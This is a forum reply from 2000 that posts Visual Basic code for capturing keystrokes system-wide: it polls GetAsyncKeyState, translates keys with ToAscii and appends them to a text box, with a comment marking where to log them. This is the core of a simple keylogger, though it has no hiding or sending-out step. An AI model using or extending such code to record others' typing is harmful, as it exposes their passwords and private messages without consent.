|
-
Sep 10th, 2000, 07:25 PM
#10
Addicted Member
Try this code.
/code
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyboardState Lib "user32" (pbKeyState As Byte) As Long
Private Declare Function ToAscii Lib "user32" (ByVal uVirtKey As Long, ByVal uScanCode As Long, lpbKeyState As Byte, lpwTransKey As Long, ByVal fuState As Long) As Long
Private Sub Form_Load()
Timer1.Interval = 50
End Sub
Private Sub Timer1_Timer()
Dim ikey As Integer
Dim bkey(255) As Byte
Dim iasc As Long
For ikey = 0 To 255
'Use GetAsyncKeyState to Monitor Keypress From Anywhere in the O/S.
If GetAsyncKeyState(ikey) And ikey <> VK_SHIFT Then Exit For
Next
If ikey < 256 Then
Call GetKeyboardState(bkey(0))
Call ToAscii(ikey, 0&, bkey(0), iasc, 0&)
If iasc Then
'Store Keypress to Log Here
Text1.Text = Text1.Text + Chr(iasc)
End If
DoEvents
While GetAsyncKeyState(ikey)
'Wait for Key to be Released
Wend
End If
End Sub
code/
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
Click Here to Expand Forum to Full Width
|